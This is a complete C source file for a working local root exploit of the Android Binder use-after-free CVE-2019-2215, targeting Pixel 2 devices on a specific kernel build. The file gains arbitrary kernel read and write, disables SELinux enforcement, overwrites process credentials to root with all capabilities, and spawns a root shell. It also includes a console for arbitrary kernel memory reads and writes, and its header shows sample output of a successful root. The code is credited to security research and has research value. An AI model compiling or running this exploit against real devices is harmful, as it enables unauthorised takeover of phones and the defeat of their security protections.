/*
 * cve-2019-2215.c: Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
 *
 * Based on proof-of-concept by Jann Horn & Maddie Stone of Google Project Zero.
 * cf. https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 *
 * Description: Demonstration of a kernel memory R/W-only privilege escalation
 *              attack resulting in a temporary root shell.
 *
 *              Works on Google Pixel 2/Pixel 2 XL (walleye/taimen) devices
 *              running the QP1A.190711.020 image with kernel version-BuildID
 *              4.4.177-g83bee1dc48e8. For this tool to work on other devices or
 *              kernels affected by the same vulnerability, some offsets need to
 *              be found and changed.
 *
 *              Also includes a mini debug console from which it is possible to
 *              explore and modify kernel memory, as well as spawn a shell. Odd!
 *
 * Usage: Compile for AArch64 and run; all the source is in a single file on
 *        purpose. Tested with the cross-compiler toolchain in Android NDK r20.
 *
 *        Pass 'debug' as the sole cmdline argument to start the mini debug
 *        console instead of the privesc routine after kernel R/W is achieved.
 *
 * Sample output:
 *
 *  taimen:/ $ cd /data/local/tmp
 *  taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
 *  taimen:/data/local/tmp $ ./cve-2019-2215
 *  Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
 *  [+] startup
 *  [+] find kernel address of current task_struct
 *  [+] obtain arbitrary kernel memory R/W
 *  [+] find kernel base address
 *  [+] bypass SELinux and patch current credentials
 *  taimen:/data/local/tmp # id
 *  uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
 *  1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
 *  3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
 *  taimen:/data/local/tmp # getenforce
 *  Permissive
 *  taimen:/data/local/tmp # exit
 *  taimen:/data/local/tmp $
 *
 *  <-- snip -->
 *
 *  taimen:/data/local/tmp $ ./cve-2019-2215 debug
 *  Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
 *  [+] startup
 *  [+] find kernel address of current task_struct
 *  [+] obtain arbitrary kernel memory R/W
 *  [+] find kernel base address
 *  launching debug console, enter 'help' for quick help
 *  debug> print
 *  ffffff9bad880000 kernel_base
 *  ffffff9baf8a57d0 init_task
 *  ffffff9baf8af2c8 init_user_ns
 *  ffffff9baf8e3780 selinux_enabled
 *  ffffff9bafc4e4a8 selinux_enforcing
 *  ffffffe6b2942b80 current
 *  debug> write ffffff9bafc4e4a8 01 00 00 00
 *  debug> exit
 *  taimen:/data/local/tmp $ getenforce
 *  Enforcing
 *  taimen:/data/local/tmp $
 *
 */

#define _GNU_SOURCE
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <linux/sched.h>
#include <sched.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/un.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <unistd.h>

typedef uint8_t u8;
typedef uint32_t u32;
typedef uint64_t u64;

// #include <linux/android/binder.h>
#define BINDER_THREAD_EXIT 0x40046208ul
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
#ifndef PAGE_SIZE
#define PAGE_SIZE 0x1000
#endif

/* Data structure definitions as found in the Sep 2019 QP1A.190711.020 build of
 * Android 10 for walleye/taimen, kernel version-BuildID 4.4.177-g83bee1dc48e8.
 * Verified using `pahole` on a build of the official Android kernel/msm git:
 *
 *  https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-android10
 *  (tree a4557a647a054b871bdf8e452a014cafa0ae5078)
 *
 * We leave only the fields in which we're interested, and we're really only
 * interested in their offsets; the others_* fields are padding.
 *
 *                            (<original type>           <offset> <size>)
 */
struct binder_thread {
    u8 others_0[160];
    u8 wait[24];           /*  wait_queue_head_t           160     24  */
    u8 others_1[216];
    // u8 others_1[224];   /* NOTE: see binder_iovecs below */
} __attribute__((packed)); /* size: 408 in kernel, 400 here */

struct task_struct {
    u8 others_0[1312];
    u64 mm;                /*  struct mm_struct *          1312    8   */
    u8 others_1[608];
    u64 real_cred;         /*  const struct cred *         1928    8   */
    u64 cred;              /*  const struct cred *         1936    8   */
    u8 others_2[1736];
} __attribute__((packed)); /* size: 3680 */

struct mm_struct {
    u8 others_0[768];
    u64 user_ns;           /*  struct user_namespace *     768     8   */
    u8 others_1[48];
} __attribute__((packed)); /* size: 824 */

struct cred {
    u8 others_0[4];
    u32 uid;               /*  kuid_t                      4       4   */
    u32 gid;               /*  kgid_t                      8       4   */
    u32 suid;              /*  kuid_t                      12      4   */
    u32 sgid;              /*  kgid_t                      16      4   */
    u32 euid;              /*  kuid_t                      20      4   */
    u32 egid;              /*  kgid_t                      24      4   */
    u32 fsuid;             /*  kuid_t                      28      4   */
    u32 fsgid;             /*  kgid_t                      32      4   */
    u32 securebits;        /*  unsigned int                36      4   */
    u64 cap_inheritable;   /*  kernel_cap_t                40      8   */
    u64 cap_permitted;     /*  kernel_cap_t                48      8   */
    u64 cap_effective;     /*  kernel_cap_t                56      8   */
    u64 cap_bset;          /*  kernel_cap_t                64      8   */
    u64 cap_ambient;       /*  kernel_cap_t                72      8   */
    u8 others_1[40];
    u64 security;          /*  void *                      120     8   */
    u8 others_2[40];
} __attribute__((packed)); /* size: 168 */

struct task_security_struct {
    u32 osid;              /*  u32                         0       4   */
    u32 sid;               /*  u32                         4       4   */
    u32 exec_sid;          /*  u32                         8       4   */
    u32 create_sid;        /*  u32                         12      4   */
    u32 keycreate_sid;     /*  u32                         16      4   */
    u32 sockcreate_sid;    /*  u32                         20      4   */
} __attribute__((packed)); /* size: 24 */

/* Kernel symbol table offsets, relative to _head, in the QP1A.190711.020
 * walleye/taimen kernel. The SELinux-related offsets were determined with
 * reference to System.map and a minor bit of trial-and-error.
 */
const ptrdiff_t ksym_init_task = 0x20257d0;
const ptrdiff_t ksym_init_user_ns = 0x202f2c8;
const ptrdiff_t ksym_selinux_enabled = 0x2063780;
const ptrdiff_t ksym_selinux_enforcing = 0x23ce4a8;

/* The exploit relies upon a use-after-free by the kernel's epoll cleanup code
 * resulting from an oversight in Android's Binder IPC subsystem, fixed here:
 *
 *  https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
 *
 * In the original Project Zero POC, arrays of 25 `struct iovec`s are treated
 * as `struct binder_thread`s by the kernel. We do the same here via a union,
 * which hopefully clarifies where the #defines of 25 and 10 came from in the
 * original POC. Since we're using structure definitions for offsets only, we're
 * fine cutting off 8 bytes from our definition of a `struct binder_thread` to
 * ensure `sizeof(binder_iovecs) == sizeof(struct iovec[25]) == 400`.
 */
const size_t iovs_sz = sizeof(struct binder_thread) / sizeof(struct iovec);
const size_t iov_idx = offsetof(struct binder_thread, wait) / sizeof(struct iovec);
typedef union {
    struct binder_thread bt;
    struct iovec iovs[iovs_sz];
} binder_iovecs;

void kwrite(u64 kaddr, void *buf, size_t len);
void kread(u64 kaddr, void *buf, size_t len);
void kwrite_u64(u64 kaddr, u64 data);
void kwrite_u32(u64 kaddr, u32 data);
u64 kread_u64(u64 kaddr);
u64 kread_u32(u64 kaddr);

void prepare_globals(void);
void find_current(void);
void obtain_kernel_rw(void);
void find_kernel_base(void);
void patch_creds(void);
void launch_shell(void);
void launch_debug_console(void);

void con_loop(void);
int con_consume(char **token);
int con_parse_hexstring(char *token, u64 *val);
int con_parse_number(char *token, u64 *val);
int con_parse_hexbytes(char **token, u8 **data, size_t *len);
void con_kdump(u64 kaddr, size_t len);

void execute_stage(int op);
void notify_stage_failure(void);

int main(int argc, char *argv[]);

pid_t pid;
int debugging;
void *dummy_page;
int kernel_rw_pipe[2];
int binder_fd;
int epoll_fd;

u64 current;
u64 kernel_base;

void kwrite(u64 kaddr, void *buf, size_t len) {
    errno = 0;
    if (len > PAGE_SIZE)
        errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], buf, len) != (ssize_t)len)
        err(1, "kwrite failed to load userspace buffer");
    if (read(kernel_rw_pipe[0], (void *)kaddr, len) != (ssize_t)len)
        err(1, "kwrite failed to overwrite kernel memory");
}
void kread(u64 kaddr, void *buf, size_t len) {
    errno = 0;
    if (len > PAGE_SIZE)
        errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], (void *)kaddr, len) != (ssize_t)len)
        err(1, "kread failed to read kernel memory");
    if (read(kernel_rw_pipe[0], buf, len) != (ssize_t)len)
        err(1, "kread failed to write out to userspace");
}
u64 kread_u64(u64 kaddr) {
    u64 data;
    kread(kaddr, &data, sizeof(data));
    return data;
}
u64 kread_u32(u64 kaddr) {
    u32 data;
    kread(kaddr, &data, sizeof(data));
    return data;
}
void kwrite_u64(u64 kaddr, u64 data) {
    kwrite(kaddr, &data, sizeof(data));
}
void kwrite_u32(u64 kaddr, u32 data) {
    kwrite(kaddr, &data, sizeof(data));
}

void prepare_globals(void) {
    pid = getpid();

    struct utsname kernel_info;
    if (uname(&kernel_info) == -1)
        err(1, "determine kernel release");
    if (strcmp(kernel_info.release, "4.4.177-g83bee1dc48e8"))
        warnx("kernel version-BuildID is not '4.4.177-g83bee1dc48e8'");

    dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE,
                      PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (dummy_page != (void *)0x100000000ul)
        err(1, "mmap 4g aligned");
    if (pipe(kernel_rw_pipe))
        err(1, "kernel_rw_pipe");

    binder_fd = open("/dev/binder", O_RDONLY);
    epoll_fd = epoll_create(1000);
}
void find_current(void) {
    /* Originally: void leak_task_struct(void); */
    struct epoll_event event = {.events = EPOLLIN};
    if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
        err(1, "epoll_add");

    binder_iovecs bio;
    memset(&bio, 0, sizeof(bio));
    bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */
    bio.iovs[iov_idx].iov_len = PAGE_SIZE;               /* wq->task_list->next */
    bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
    bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;

    int pipe_fd[2];
    if (pipe(pipe_fd))
        err(1, "pipe");
    if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)
        err(1, "pipe size");
    static char page_buffer[PAGE_SIZE];

    pid = fork();
    if (pid == -1)
        err(1, "fork");
    if (pid == 0) {
        /* Child process */
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        sleep(2);
        epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
        // first page: dummy data
        if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
            err(1, "read full pipe");
        close(pipe_fd[1]);
        exit(0);
    }

    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);
    if (writev_ret != (ssize_t)(2 * PAGE_SIZE))
        errx(1, "writev() returns 0x%lx, expected 0x%lx\n",
             writev_ret, (ssize_t)(2 * PAGE_SIZE));
    // second page: leaked data
    if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
        err(1, "read full pipe");

    pid_t status;
    if (wait(&status) != pid)
        err(1, "wait");

    current = *(u64 *)(page_buffer + 0xe8);
}
void obtain_kernel_rw(void) {
    /* Originally: void clobber_addr_limit(void); */
    struct epoll_event event = {.events = EPOLLIN};
    if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
        err(1, "epoll_add");

    binder_iovecs bio;
    memset(&bio, 0, sizeof(bio));
    bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */
    bio.iovs[iov_idx].iov_len = 1;                       /* wq->task_list->next */
    bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
    bio.iovs[iov_idx + 1].iov_len = 0x8 + 2 * 0x10;      /* iov_len of previous, then this element and next element */
    bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead;
    bio.iovs[iov_idx + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

    u64 second_write_chunk[] = {
        1,                 /* iov_len */
        0xdeadbeef,        /* iov_base (already used) */
        0x8 + 2 * 0x10,    /* iov_len (already used) */
        current + 0x8,     /* next iov_base (addr_limit) */
        8,                 /* next iov_len (sizeof(addr_limit)) */
        0xfffffffffffffffe /* value to write */
    };

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks))
        err(1, "socketpair");
    if (write(socks[1], "X", 1) != 1)
        err(1, "write socket dummy byte");

    pid = fork();
    if (pid == -1)
        err(1, "fork");
    if (pid == 0) {
        /* Child process */
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        sleep(2);
        epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
        size_t write_sz = sizeof(second_write_chunk);
        if (write(socks[1], second_write_chunk, write_sz) != (ssize_t)write_sz)
            err(1, "write second chunk to socket");
        exit(0);
    }

    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    struct msghdr msg = {.msg_iov = bio.iovs, .msg_iovlen = iovs_sz};
    size_t recvmsg_sz = bio.iovs[iov_idx].iov_len +
                        bio.iovs[iov_idx + 1].iov_len +
                        bio.iovs[iov_idx + 2].iov_len;
    ssize_t recvmsg_ret = recvmsg(socks[0], &msg, MSG_WAITALL);
    if (recvmsg_ret != (ssize_t)recvmsg_sz)
        errx(1, "recvmsg() returns %ld, expected %lu\n", recvmsg_ret, recvmsg_sz);

    setbuf(stdout, NULL);
}
void find_kernel_base(void) {
    u64 current_mm = kread_u64(current + offsetof(struct task_struct, mm));
    u64 current_user_ns = kread_u64(current_mm + offsetof(struct mm_struct, user_ns));
    kernel_base = current_user_ns - ksym_init_user_ns;
    if (kernel_base & 0xffful) {
        if (debugging) {
            warnx("bad kernel base (not 0x...000)");
            kernel_base = 0;
            return;
        } else {
            errx(1, "bad kernel base (not 0x...000)");
        }
    }

    u64 init_task = kernel_base + ksym_init_task;
    u64 cred_ptrs[2] = {
        kread_u64(init_task + offsetof(struct task_struct, real_cred)), /* init_task.real_cred */
        kread_u64(init_task + offsetof(struct task_struct, cred)),      /* init_task.cred */
    };

    /* Examine what we think are the init process' credentials.
     * Presumably, these tests are unlikely to pass unless we have the right
     * kernel base, kernel symbol offsets, and kernel data structure offsets.
     */
    for (int cred_idx = 0; cred_idx < 2; cred_idx++) {
        struct cred cred;
        kread(cred_ptrs[cred_idx], &cred, sizeof(struct cred));

        if (cred.uid || cred.gid || cred.suid || cred.sgid ||
            cred.euid || cred.egid || cred.fsuid || cred.fsgid) {
            if (debugging) {
                warnx("bad kernel base (init_task not where expected)");
                kernel_base = 0;
                return;
            } else {
                errx(1, "bad kernel base (init_task not where expected)");
            }
        }

        const u64 cap = 0x3fffffffff;
        if (cred.cap_inheritable || cred.cap_permitted != cap ||
            cred.cap_effective != cap || cred.cap_bset != cap ||
            cred.cap_ambient) {
            if (debugging) {
                warnx("bad kernel base (init_task not where expected)");
                kernel_base = 0;
                return;
            } else {
                errx(1, "bad kernel base (init_task not where expected)");
            }
        }

        /* .real_cred == .cred, probably. */
        if (cred_ptrs[0] == cred_ptrs[1])
            break;
    }
}
void patch_creds(void) {
    u64 cred_ptrs[2] = {
        kread_u64(current + offsetof(struct task_struct, real_cred)), /* current->real_cred */
        kread_u64(current + offsetof(struct task_struct, cred)),      /* current->cred */
    };

    /* Final check: our struct cred(s?) in the kernel should contain our uid. */
    if (kread_u32(cred_ptrs[0] + offsetof(struct cred, uid)) != getuid())
        errx(1, "bad cred (current->real_cred->uid not our own uid)");
    if (cred_ptrs[0] != cred_ptrs[1])
        if (kread_u32(cred_ptrs[1] + offsetof(struct cred, uid)) != getuid())
            errx(1, "bad cred (current->cred->uid not our own uid)");

    /* Just disabling selinux_enforcing should suffice for our purposes. SELinux
     * still does MAC (mandatory access control) checks on our actions based on
     * our security contexts, but violations are logged, not prevented. Our
     * permissions then fall back to DAC (discretionary access control), i.e.
     * user accounts/groups. And as we know, the root user is DAC omnipotent.
     */
    // kwrite_u32(kernel_base + ksym_selinux_enabled, 0);
    kwrite_u32(kernel_base + ksym_selinux_enforcing, 0);

    /* Patch our struct cred(s?) in the kernel. */
    for (int cred_idx = 0; cred_idx < 2; cred_idx++) {
        u64 cred_ptr = cred_ptrs[cred_idx];

        /* All 8 (e|f?s)?[ug]id members should be set to 0, making us root. */
        kwrite_u32(cred_ptr + offsetof(struct cred, uid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, gid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, suid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, sgid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, euid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, egid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, fsuid), 0);
        kwrite_u32(cred_ptr + offsetof(struct cred, fsgid), 0);

        /* What to do with securebits is not as obvious. The comment for it in
         * the kernel source reads 'SUID-less security management'. In the init
         * process' cred(s?), this is set to 0, so we might as well do the same.
         */
        kwrite_u32(cred_ptr + offsetof(struct cred, securebits), 0);

        /* All 5 cap_.+ members should be bitset to all 1's. We will have all
         * capability bits set, and our children will be able to inherit them.
         */
        kwrite_u64(cred_ptr + offsetof(struct cred, cap_inheritable), ~(u64)0);
        kwrite_u64(cred_ptr + offsetof(struct cred, cap_permitted), ~(u64)0);
        kwrite_u64(cred_ptr + offsetof(struct cred, cap_effective), ~(u64)0);
        kwrite_u64(cred_ptr + offsetof(struct cred, cap_bset), ~(u64)0);
        kwrite_u64(cred_ptr + offsetof(struct cred, cap_ambient), ~(u64)0);

        /* Also patch our task_security_struct(s?). This is not necessary with
         * SELinux bypassed, but we will again match init's settings and set
         * the osid and sid members to 1.
         */
        u64 security_ptr = kread_u64(cred_ptr + offsetof(struct cred, security));
        kwrite_u32(security_ptr + offsetof(struct task_security_struct, osid), 1);
        kwrite_u32(security_ptr + offsetof(struct task_security_struct, sid), 1);

        /* .real_cred == .cred, probably. */
        if (cred_ptrs[0] == cred_ptrs[1])
            break;
    }

    if (getuid())
        errx(1, "did some patching, but our uid is not 0");
}
void launch_shell(void) {
    if (execl("/bin/sh", "/bin/sh", (char *)NULL) == -1)
        err(1, "launch shell");
}
void launch_debug_console(void) {
    printf("launching debug console; enter 'help' for quick help\n");
    con_loop();
}

void con_loop(void) {
    u64 kaddr;
    size_t len;

    int running = 1;
    while (running) {
        printf("debug> ");

        char *line = NULL;
        size_t getline_buf_len = 0;
        if (getline(&line, &getline_buf_len, stdin) == -1)
            err(1, "read stdin");
        int was_handled = 0;

        char *token = strtok(line, " \t\r\n\a");
        if (token && !strcmp(token, "print") && con_consume(&token)) {
            printf("%lx kernel_base\n", kernel_base);
            printf("%lx init_task\n", kernel_base + ksym_init_task);
            printf("%lx init_user_ns\n", kernel_base + ksym_init_user_ns);
            printf("%lx selinux_enabled\n", kernel_base + ksym_selinux_enabled);
            printf("%lx selinux_enforcing\n", kernel_base + ksym_selinux_enforcing);
            printf("%lx current\n", current);
            was_handled = 1;
        } else if (token && !strcmp(token, "read")) {
            /* Not that there'd actually be any kmem allocated there, but if the
             * read address were 0xffffffffffffffff, we'd technically be able to
             * read exactly one byte. We ~do~ want to handle that case... right?
             */
            if (con_parse_hexstring(strtok(NULL, " \t\r\n\a"), &kaddr) &&
                con_parse_number(strtok(NULL, " \t\r\n\a"), &len) &&
                con_consume(&token) && 0 < len && len <= PAGE_SIZE &&
                len - 1 <= ~(u64)0 - kaddr) {
                con_kdump(kaddr, len);
                was_handled = 1;
            }
        } else if (token && !strcmp(token, "write")) {
            u8 *data = NULL;
            if (con_parse_hexstring(strtok(NULL, " \t\r\n\a"), &kaddr) &&
                con_parse_hexbytes(&token, &data, &len) && 0 < len &&
                len <= PAGE_SIZE && len - 1 <= ~(u64)0 - kaddr) {
                kwrite(kaddr, data, len);
                was_handled = 1;
            }
            free(data);
        } else if (token && !strcmp(token, "shell") && con_consume(&token)) {
            pid = fork();
            if (pid == -1)
                err(1, "fork");
            if (pid == 0)
                launch_shell();
            pid_t status;
            do {
                waitpid(pid, &status, WUNTRACED);
            } while (!WIFEXITED(status) && !WIFSIGNALED(status));
            was_handled = 1;
        } else if (token && !strcmp(token, "help") && con_consume(&token)) {
            printf(
                "quick help\n"
                "    print\n"
                "        print kernel base address, some kernel symbol offsets,\n"
                "        and address of current task_struct as hexstrings\n"
                "    read <kaddr> <len>\n"
                "        read <len> bytes from <kaddr> and display as a hexdump\n"
                "        <kaddr> is a hexstring not prefixed with 0x\n"
                "        <len> is 1-4096 or 0x1-0x1000\n"
                "    write <kaddr> <data>\n"
                "        write <data> to <kaddr>\n"
                "        <kaddr> is a hexstring not prefixed with 0x\n"
                "        <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*\n"
                "        e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set\n"
                "        its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is\n"
                "        '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)\n"
                "    shell\n"
                "        launch a shell (hint: have we ~somehow~ become another user? :P)\n"
                "    help\n"
                "        print this help\n"
                "    exit\n"
                "        exit debug console\n");
            was_handled = 1;
        } else if (token && !strcmp(token, "exit") && con_consume(&token)) {
            running = 0;
            was_handled = 1;
        }

        if (!was_handled)
            printf("woopz; enter 'help' for quick help\n");

        free(line);
    }
}
int con_consume(char **token) {
    int ret = 1;
    do {
        if ((*token = strtok(NULL, " \t\r\n\a")))
            ret = 0;
    } while (*token);
    return ret;
}
int con_parse_hexstring(char *token, u64 *val) {
    if (!token || !(*token))
        return 0;
    *val = 0;
    while (*token) {
        if (*val & 0xf000000000000000)
            return 0;
        else if ('0' <= *token && *token <= '9')
            *val = *val * 16 + *token - '0';
        else if ('a' <= *token && *token <= 'f')
            *val = *val * 16 + *token - 'a' + 10;
        else if ('A' <= *token && *token <= 'F')
            *val = *val * 16 + *token - 'A' + 10;
        else
            return 0;
        token++;
    }
    return 1;
}
int con_parse_number(char *token, u64 *val) {
    if (!token || !(*token))
        return 0;
    if (*token == '0' && (token[1] == 'x' || token[1] == 'X'))
        return con_parse_hexstring(token + 2, val);
    *val = 0;
    while (*token) {
        if (*token < '0' || '9' < *token)
            return 0;
        *val = *val * 10 + *token - '0';
        if (*val > PAGE_SIZE)
            return 0;
        token++;
    }
    return 1;
}
int con_parse_hexbytes(char **token, u8 **data, size_t *len) {
    static char hexbyte[2 + 1] = {'\0'};

    u8 *buf = malloc(PAGE_SIZE * sizeof(u8));
    if (!buf)
        err(1, "allocate memory");

    *data = buf;
    *len = 0;
    int hexbyte_idx = 0;

    while ((*token = strtok(NULL, " \t\r\n\a"))) {
        for (char *c = *token; *c; c++) {
            if (!isxdigit(*c))
                return 0;
            hexbyte[hexbyte_idx++] = *c;
            if (hexbyte_idx == 2) {
                hexbyte_idx = 0;
                u64 val;
                if (*len == PAGE_SIZE || !con_parse_hexstring(hexbyte, &val))
                    return 0;
                buf[(*len)++] = (u8)(val & 0xff);
            }
        }
    }

    return *len && !hexbyte_idx;
}
void con_kdump(u64 kaddr, size_t len) {
    /* Mimic the output of `xxd`. */
    static char line[40 + 1] = {'\0'};
    static char text[16 + 1] = {'\0'};

    if (!len)
        return;

    u8 *buf = malloc(len * sizeof(u8));
    if (!buf)
        err(1, "allocate memory");

    kread(kaddr, buf, len);

    for (u64 line_offset = 0; line_offset < len; line_offset += 16) {
        char *linep = line;
        for (size_t i = 0; i < 16; i++) {
            if (i + line_offset < len) {
                char c = buf[i + line_offset];
                linep += sprintf(linep, (i & 1) ? "%02x " : "%02x", c);
                text[i] = (' ' <= c && c <= '~') ? c : '.';
            } else {
                linep += sprintf(linep, (i & 1) ? "   " : "  ");
                text[i] = ' ';
            }
        }
        printf("%016lx: %s %s\n", kaddr + line_offset, line, text);
    }

    free(buf);
}

/* Excuse this mess; bionic libc doesn't have on_exit(). */
char *stage_desc;
struct stage_t {
    void (*func)(void);
    char *desc;
};
struct stage_t stages[] = {
    {prepare_globals, "startup"},
    {find_current, "find kernel address of current task_struct"},
    {obtain_kernel_rw, "obtain arbitrary kernel memory R/W"},
    {find_kernel_base, "find kernel base address"},
    {patch_creds, "bypass SELinux and patch current credentials"},
    {launch_shell, NULL},
    {launch_debug_console, NULL},
};
void execute_stage(int stage_idx) {
    stage_desc = stages[stage_idx].desc;
    (*stages[stage_idx].func)();
    if (stage_desc && pid && (stage_idx != 3 || kernel_base))
        printf("[+] %s\n", stage_desc);
}
void notify_stage_failure(void) {
    if (stage_desc && pid)
        fprintf(stderr, "[-] %s failed\n", stage_desc);
}

int main(int argc, char *argv[]) {
    atexit(notify_stage_failure);
    debugging = argc == 2 && !strcmp(argv[1], "debug");

    printf("Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215\n");

    execute_stage(0); /* prepare_globals() */
    execute_stage(1); /* find_current() */
    execute_stage(2); /* obtain_kernel_rw() */
    execute_stage(3); /* find_kernel_base() */

    if (debugging) {
        if (!kernel_base) {
            notify_stage_failure();
            warnx("printed kernel offsets won't be reliable\n");
        }
        execute_stage(6); /* launch_debug_console() */
    } else {
        execute_stage(4); /* patch_creds() */
        execute_stage(5); /* launch_shell() */
    }

    return 0;
}
